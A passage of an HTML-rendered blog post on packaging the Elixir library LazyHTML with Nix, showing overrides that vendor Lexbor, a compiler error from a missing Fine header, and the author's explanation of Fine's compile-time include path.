&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #cba6f7;&quot;&gt;inherit&lt;/span&gt; lib beamPackages&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #89b4fa;&quot;&gt;overrides&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #eba0ac;&quot;&gt;final&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #eba0ac;&quot;&gt;prev&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;      &lt;span style=&quot;color: #cdd6f4;&quot;&gt;lazy_html&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;prev&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;lazy_html&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;overrideAttrs&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;        &lt;span style=&quot;color: #eba0ac;&quot;&gt;prevAttrs&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;        &lt;span style=&quot;color: #cba6f7;&quot;&gt;let&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;          lexborVersion &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;2.4.0&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;          lexbor &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; pkgs&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;fetchFromGitHub&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;            &lt;span style=&quot;color: #cdd6f4;&quot;&gt;owner&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;lexbor&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;            &lt;span style=&quot;color: #cdd6f4;&quot;&gt;repo&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;lexbor&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;            &lt;span style=&quot;color: #cdd6f4;&quot;&gt;tag&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;v&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;$&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;lexborVersion&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;            &lt;span style=&quot;color: #cdd6f4;&quot;&gt;hash&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;sha256-wsm+2L2ar+3LGyBXl39Vp9l1l5JONWvO0QbI87TDfWM=&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;          &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;        &lt;span style=&quot;color: #cba6f7;&quot;&gt;in&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;        &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;          &lt;span style=&quot;color: #cdd6f4;&quot;&gt;nativeBuildInputs&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;prevAttrs&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;nativeBuildInputs&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;++&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;with&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;pkgs&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;cmake&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;          &lt;span style=&quot;color: #cdd6f4;&quot;&gt;prePatch&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;            &lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;# ensure the version is in sync.&lt;/span&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;            &lt;span style=&quot;color: #89b4fa;&quot;&gt;grep&lt;/span&gt; &lt;span style=&quot;color: #eba0ac;&quot;&gt;-q&lt;/span&gt; &amp;#39;@lexbor_version &amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;$&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;lexborVersion&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&amp;#39; mix.exs&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;            mkdir -p _build/c/third_party/lexbor&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;            cp -r &lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;$&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;lexbor&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt; &lt;span style=&quot;color: #89b4fa;&quot;&gt;_build/c/third_party/lexbor/&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;$&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;lexborVersion&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;            &lt;span style=&quot;color: #89b4fa;&quot;&gt;chmod&lt;/span&gt; &lt;span style=&quot;color: #eba0ac;&quot;&gt;-R&lt;/span&gt; &lt;span style=&quot;color: #eba0ac;&quot;&gt;u+w&lt;/span&gt; &lt;span style=&quot;color: #eba0ac;&quot;&gt;_build/c/third_party/lexbor/&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;$&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;lexborVersion&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;26&quot;&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;          &lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;27&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;28&quot;&gt;          &lt;span style=&quot;color: #cdd6f4;&quot;&gt;patches&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;29&quot;&gt;            &lt;span style=&quot;color: #f5c2e7;&quot;&gt;./lazy_html-mix.exs.patch&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;30&quot;&gt;          &lt;span style=&quot;color: #9399b2;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;31&quot;&gt;        &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;32&quot;&gt;      &lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;33&quot;&gt;    &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;34&quot;&gt;  &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now we successfully build Lexbor as part of LazyHTML, yay! But then:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;lazy_html&amp;gt; [ 99%] Building C object CMakeFiles/lexbor_static.dir/source/lexbor/utils/http.c.o
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;lazy_html&amp;gt; [ 99%] Building C object CMakeFiles/lexbor_static.dir/source/lexbor/utils/warc.c.o
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;lazy_html&amp;gt; [100%] Linking C static library liblexbor_static.a
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;lazy_html&amp;gt; [100%] Built target lexbor_static
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;lazy_html&amp;gt; make[1]: Leaving directory &amp;#39;/private/tmp/nix-build-lazy_html-0.1.3.drv-0/lazy_html-0.1.3/_build/c/third_party/lexbor/2.4.0/build&amp;#39;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;lazy_html&amp;gt; clang++ -shared -fPIC -fvisibility=hidden -std=c++17 -Wall -Wextra -Wno-unused-parameter -Wno-comment -I/nix/store/62pchbdm94l23xcd9c7z76pywli4v9r0-erlang-27.3.4.1/lib/erlang/erts-15.2.7/include -I/private/tmp/nix-build-fine-0.1.2.drv-0/fine-0.1.2/include -I/private/tmp/nix-build-lazy_html-0.1.3.drv-0/lazy_html-0.1.3/_build/c/third_party/lexbor/2.4.0/source -O3 -undefined dynamic_lookup -flat_namespace /private/tmp/nix-build-lazy_html-0.1.3.drv-0/lazy_html-0.1.3/c_src/lazy_html.cpp /private/tmp/nix-build-lazy_html-0.1.3.drv-0/lazy_html-0.1.3/_build/c/third_party/lexbor/2.4.0/build/liblexbor_static.a -o /private/tmp/nix-build-lazy_html-0.1.3.drv-0/lazy_html-0.1.3/_build/prod/lib/lazy_html/priv/liblazy_html.so
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;lazy_html&amp;gt; /private/tmp/nix-build-lazy_html-0.1.3.drv-0/lazy_html-0.1.3/c_src/lazy_html.cpp:3:10: fatal error: &amp;#39;fine.hpp&amp;#39; file not found
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;lazy_html&amp;gt;     3 | #include &amp;lt;fine.hpp&amp;gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;lazy_html&amp;gt;       |          ^~~~~~~~~~
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;lazy_html&amp;gt; 1 error generated.
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;lazy_html&amp;gt; make: *** [Makefile:38: /private/tmp/nix-build-lazy_html-0.1.3.drv-0/lazy_html-0.1.3/_build/prod/lib/lazy_html/priv/liblazy_html.so] Error 1
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;lazy_html&amp;gt; ** (Mix) Could not compile with &amp;quot;make&amp;quot; (exit status: 2).
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;lazy_html&amp;gt; You need to have gcc and make installed. Try running the
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;lazy_html&amp;gt; commands &amp;quot;gcc --version&amp;quot; and / or &amp;quot;make --version&amp;quot;. If these programs
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;lazy_html&amp;gt; are not installed, you will be prompted to install them.
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;lazy_html&amp;gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;LazyHTML depends on &lt;a href=&quot;https://github.com/elixir-nx/fine&quot;&gt;Fine&lt;/a&gt;, and if you squint at that last output, you’ll see this argument to &lt;code&gt;clang++&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;-I/private/tmp/nix-build-fine-0.1.2.drv-0/fine-0.1.2/include
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Fine reports its own include directory in &lt;a href=&quot;https://github.com/elixir-nx/fine/blob/50a51e91ebfc47eadc4a785c7bd559fd80fea56c/lib/fine.ex&quot;&gt;&lt;code&gt;Fine.include_dir/0&lt;/code&gt;&lt;/a&gt; like this:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #f9e2af; font-style: italic;&quot;&gt;Fine&lt;/span&gt; &lt;span style=&quot;color: #cba6f7;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;# [...]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #89dceb;&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;@&lt;span style=&quot;color: #89b4fa;&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;include_dir &lt;span style=&quot;color: #f9e2af; font-style: italic;&quot;&gt;Path&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;expand&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;include&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #89dceb;&quot;&gt;&lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;@&lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;doc&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;&lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;  Returns the directory with Fine header files.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;&lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;  &amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;  &lt;span style=&quot;color: #89dceb;&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;@&lt;span style=&quot;color: #89b4fa;&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;spec &lt;span style=&quot;color: #89b4fa;&quot;&gt;include_dir&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;::&lt;/span&gt; &lt;span style=&quot;color: #f9e2af; font-style: italic;&quot;&gt;String&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;t&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;  &lt;span style=&quot;color: #cba6f7;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #89b4fa;&quot;&gt;include_dir&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #f2cdcd;&quot;&gt;do: &lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;@&lt;span style=&quot;color: #fab387;&quot;&gt;include_dir&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This resolves the absolute path of the &lt;code&gt;include&lt;/code&gt; dir relative to the current working directory &lt;em&gt;at compile time&lt;/em&gt;. If you’re building Fine in the same filesystem as its dependent, this works great — Mix changes the cwd to each project’s root as it goes. If not, you’ll have a compiled-in path that may not exist when you try to use it, which is exactly what’s happened above — that’s the Fine sandbox path being used while we’re building in LazyHTML’s sandbox.&lt;/p&gt;
&lt;h3&gt;Step three: get Fine to report its installed location, not its build-time one&lt;/h3&gt;
&lt;p&gt;Just one more patch. Just one. I swear. I can stop any time I want.&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-nix&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;let&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  mixNixDeps &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;import&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #f5c2e7;&quot;&gt;./deps.nix&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #cba6f7;&quot;&gt;inherit&lt;/span&gt; lib beamPackages&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #89b4fa;&quot;&gt;overrides&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #eba0ac;&quot;&gt;final&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #eba0ac;&quot;&gt;prev&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;      &lt;span style=&quot;color: #cdd6f4;&quot;&gt;lazy_html&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;prev&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;lazy_html&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;overrideAttrs&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;        &lt;span style=&quot;color: #eba0ac;&quot;&gt;prevAttrs&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;        &lt;span style=&quot;color: #cba6f7;&quot;&gt;let&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;          lexborVersion &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;2.4.0&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;          lexbor &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; pkgs&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;fetchFromGitHub&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;            &lt;span style=&quot;color: #cdd6f4;&quot;&gt;owner&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;lexbor&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;            &lt;span style=&quot;color: #cdd6f4;&quot;&gt;repo&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;lexbor&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
